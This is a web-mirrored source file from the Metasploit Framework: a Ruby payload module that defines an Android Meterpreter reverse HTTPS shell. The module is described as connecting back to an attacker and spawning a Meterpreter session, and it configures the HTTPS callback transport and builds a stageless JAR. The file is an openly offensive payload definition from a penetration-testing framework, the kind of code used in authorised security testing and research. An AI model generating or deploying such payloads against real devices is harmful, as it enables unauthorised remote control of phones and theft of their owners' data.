CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/android/meterpreter_reverse_https.rb
Views: 11766
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = :dynamic
10
11
include Msf::Payload::TransportConfig
12
include Msf::Payload::Single
13
include Msf::Payload::Android
14
include Msf::Payload::UUID::Options
15
include Msf::Sessions::MeterpreterOptions
16
17
18
def initialize(info = {})
19
20
super(merge_info(info,
21
'Name' => 'Android Meterpreter Shell, Reverse HTTPS Inline',
22
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
23
'License' => MSF_LICENSE,
24
'Platform' => 'android',
25
'Arch' => ARCH_DALVIK,
26
'Handler' => Msf::Handler::ReverseHttps,
27
'Session' => Msf::Sessions::Meterpreter_Java_Android,
28
'Payload' => '',
29
))
30
end
31
32
#
33
# Generate the transport-specific configuration
34
#
35
def transport_config(opts={})
36
transport_config_reverse_https(opts)
37
end
38
39
def generate_jar(opts={})
40
opts[:stageless] = true
41
super(opts)
42
end
43
end
44
45